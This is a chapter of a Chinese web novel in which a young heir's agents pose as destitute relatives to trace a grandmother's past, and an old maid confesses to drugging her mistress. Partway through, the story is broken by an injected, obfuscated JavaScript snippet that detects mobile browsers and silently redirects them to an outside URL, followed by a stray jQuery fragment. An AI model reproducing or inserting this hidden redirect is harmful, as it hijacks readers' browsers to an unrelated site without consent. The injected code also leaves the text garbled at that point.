“谁呀,大清早的来敲门。”不耐烦的声音从门后传来,伴随着“吱呀”一声,大门从内打开,来人披着外衣打着哈欠,眼角还渗出几滴生理性的泪水。
“请问,宅中可是姓白?”门外之人小心翼翼地问道。
“什么姓白姓黑的,我不知道,你找错地了,快走快走。”门内之人挥了挥手,仿佛驱赶什么不干净的东西似的,双臂一拉便打算将大门关上。
“等等!”门外人抬起手抵在大门上,焦急道,“这位老爷行行好,我们兄弟几人是上京来寻亲的。家中长辈告知,族中祖母曾经传回的信件中,所写的居所便是此处……”
“是啊,家逢巨变,一夕之间我们成了无家可归之人。实在是没有别的办法了,这才上京来寻未曾谋面的祖母,求一处荫庇之所。”
二人一身尘土,衣衫破旧,看起来便是经历了长途跋涉。他们面色痛苦又带着些对未知的茫然,言辞恳切。
门内之人看着他们许久,见天寒地冻那二人却衣着单薄,双手红肿,于心不忍,他叹了口气道:
“罢了,先进来吧,外头冷。”
兄弟二人不可置信地扭头对视了一眼,激动道:“多、多谢……”
正堂中烧着炭盆,虽不说暖如春日,却是比外头那刺骨的寒冷好上了不知多少。兄弟二人一步入堂中,浑身忍不住轻颤,发出一声满足的喟叹。
府中似乎没有下人,先前那男子亲自去后头取了一壶热茶,替那二人斟上。那二人捧着手中滚烫的茶盏,疯狂汲取着从杯壁渗出的热量,从四肢百骸暖到了心尖。
“说说吧,是怎么回事?”男人轻啜了一口茶,问道。
兄弟二人对视一眼,其中一人放下杯盏,起身朝那男人恭恭敬敬作了个揖,抬头时已红了双眼,他解释道:“这位老爷,我们兄弟二人来自川南,数月前家中遭逢巨变,一夕之间家破人亡。族中长辈临死前告知,旁支有一位祖母早年留在了京城,曾在与家中通信时告知过住所。
我兄弟二人眼下无家可归,便想来此碰一碰运气,看看能否找到那位祖母。”男子看着上首那中年男人许久,垂下头长长地叹了一口气,“可眼前看来,祖母早已不在此处。不知这位老爷可知曾经在此居住之人的去向?”
男人放下杯盏,沉思着摸着自己的下巴,问道:“你们那祖母,是何时在此居住?”
“这一来二去,约莫也至少有四十余年之久了。”
“那我便无能为力了,我搬来此处不过十余年,当初买宅子时,听那房牙子说起过,上一任主人是一家老小,回老家去了,想来也不是你那祖母。不如你去周围打听打听,看看是否有久居此地之人知晓你那祖母的踪迹。”
兄弟二人齐齐朝那男人行了礼,感谢道:“多谢这位老爷,我等打扰了,这便先告辞了,多谢。”
男人点点头道:“祝你二人顺利,去吧。”
二人走出院门,抬手将院门关上。在将关未关时,男子从门缝中看见男人和善的面庞,点头致谢。
“嘭嘭”一声,大门合拢。男子转身的瞬间,方才还一脸悲戚的表情已经消失不见,取而代之的则是深思。
“老大,我们接着怎么做?”身后之人问道。
站在门外那人眼神犀利地瞥了他一眼,神色中满是不悦:“你是生怕别人不知道我们身份有异?”
“……兄长,我知错了。”那人低着头,轻声认错。
“走吧,此事公子交代给我们,我们必须好好完成。既然这宅子已经换了人,那我们就从周边的人家查起。如今我们这上京寻亲的身份也已经过了明处,询问起来就不会轻易引人注意了。”男子眼中,是与这一身装扮全然不同的谨慎与机敏。
数日后,薛府。
“找到了!终于找到了,不枉费我花了这么多时间。”
只见书桌上堆满了书籍,从这书山后头冒出一个脑袋,连头发丝都显得有些乱糟糟。薛子翛伸出一根手指在纸页上一一划过,又仔仔细细地看了一遍。
“果然,那一年薛府的人员发生了巨大的变化,所有的下人上至贴身侍女下至门房马夫,尽数都被换了个遍。虽说已是分批更换,可此前、后都没有过这般大规模的换人之举,再加上时间也对得上,一定没错了。”
这册子上记录了薛府自成府以来,数十年间府中来来去去下人们的生平。如此登记造册,便有迹可循。
“哦?这是……”薛子翛被册子上的一处吸引了视线,她凑近了些,“这、这是,是祖母曾经身边伺候的婢女,若是能找到她,老夫人身份的谎言,想必便能大白于天下。”她迅速召来人,安排了下去。
“公子。”墨雨的声音从门外传来,与房中走出之人擦肩而过,二人互相点了点头。墨雨疾步走入书房,从衣襟中摸出一沓纸,递了过去,“公子,属下幸不辱命,这几日与山岚一道,查探了老夫人曾经居所附近。只可惜当年之人所剩不多,好些已经驾鹤西去,只能从他们口中拼凑出老夫人的过往。”
是的,当时寻到的那殳奶娘告知了他们稳婆的下落,青枫当即就派人去那地址寻她。只可惜稳婆已不在人世,他们只寻到了稳婆的女儿。
女儿再三确认了他们的来意后,取出了母亲临死前留下的书信交给了他们,告知他们母亲曾说,日后若是京城来人寻她,这地址又是从一殳姓女子口中得知,便将书信交给他们。
书信中写明了当年她曾在京城一院落接生,后随着那女子入了薛府,且详细写明了那座院落的位置。
于是,薛子翛才派了墨雨和山岚一起去打探情况。
才有了那千里寻亲的故事,正是为了掩盖贸然打探有可能带来的不妥,掩人耳目。
然而,令人始料未及的却是,薛子翛派去寻找当年祖母贴身侍女下落的属下还未曾传回消息,就有一个自称是薛夫人婢女之人寻上门来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16439444|175514||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来人倒也有几分聪慧,并未直接敲开薛府大门,而是去了白姿姿面前,求见薛家大房的公子。
“公子,小心有诈。”梧桐眉头紧锁。
薛子翛止住脚步,看着眼前关着的房门,心中不知想了什么,迈步走上台阶,一把推开门。偌大的动静,房中几人同时回头看了过来。薛子翛扫视了一圈,只见白姿姿对面坐着一个白发老妪,面色苍白眼神浑浊,她微微佝偻着身子,手指紧紧扣在椅子的扶手上。
那老妪身后站着一个年轻女子,眉眼间与老妇人有几分相似,正一脸担忧地看着身前的老妇。
薛子翛背着光一步一步朝屋内走去,浑身散发着上位者的气息。她目光如炬,紧紧盯着那老妇,开口道:“就是你,要见我?”
老妇面上仅剩的血色霎时间尽数褪去,胸腔之中的心脏剧烈跳动,只觉得自己像是被盯上的猎物般,目光恍如实质地压在她的身上,令她直不起身子。
“小公子……奴婢、奴婢有罪……奴婢对不起夫人,对不起夫人啊……”老妇突然起身,跪倒在薛子翛身前,涕泗横流。
“哦?展开说说。”薛子翛神色如常,仿佛一切都尽在掌握之中,令人看不出虚实。
“小公子,四十来年前,奴婢入了薛府为婢,得夫人垂怜得以近身伺候。后来夫人身怀有孕,可奴婢……”她一时竟有些说不出话来
薛子翛从她身边绕过,在桌边落座,道:“继续说。”她沉着声音,听不出喜怒。
老妇跪着转了方向,重重磕了几个响头:“可奴婢却因一时利益,在夫人平日的药膳中下了药,致使夫人血崩而亡……我对不起夫人,对不起夫人啊……”她嚎啕大哭起来,抬起双手“啪啪啪”地扇起了自己的脸。
薛子翛“啪”的一声在桌面上狠狠一拍,怒道:“你现在这副模样做给谁看?当年究竟是怎么回事?还不细细说来!”
巨大的声响令所有在场之人的身躯不禁颤抖了一下,老妇如丧考妣,将过往细细道来。
原来,她之所以入薛府为奴,是因为儿子滥赌成性,欠下了一屁股债。家中所有银钱都已被他拿去当了赌资,甚至家中但凡稍微能值些钱的物件,都进了当铺。
可即便如此,也不过是杯水车薪。
正巧薛府需要人手,她便入了薛府为奴,凭借自己踏实肯干的性子得到了夫人的赏识,提拔到了身旁伺候。薛府的月银不少,再加上夫人偶有赏赐,儿子的幡然悔悟,她家中的日子倒也慢慢好了起来。
可好景不长,浪子回头不久的儿子,见家中银钱多了起来后,按捺不住自己的赌瘾,又进了赌坊。
不到一个月的时间,又将家中存银输了个精光。上门催债之人放下狠话,十日内不还清欠款,便要剁他一条胳膊。
就在情急之下,有人找到了她,可助她解燃眉之急。条件便是,在薛夫人的餐食药膳之中,下药。
“所以,你就背叛了祖母?”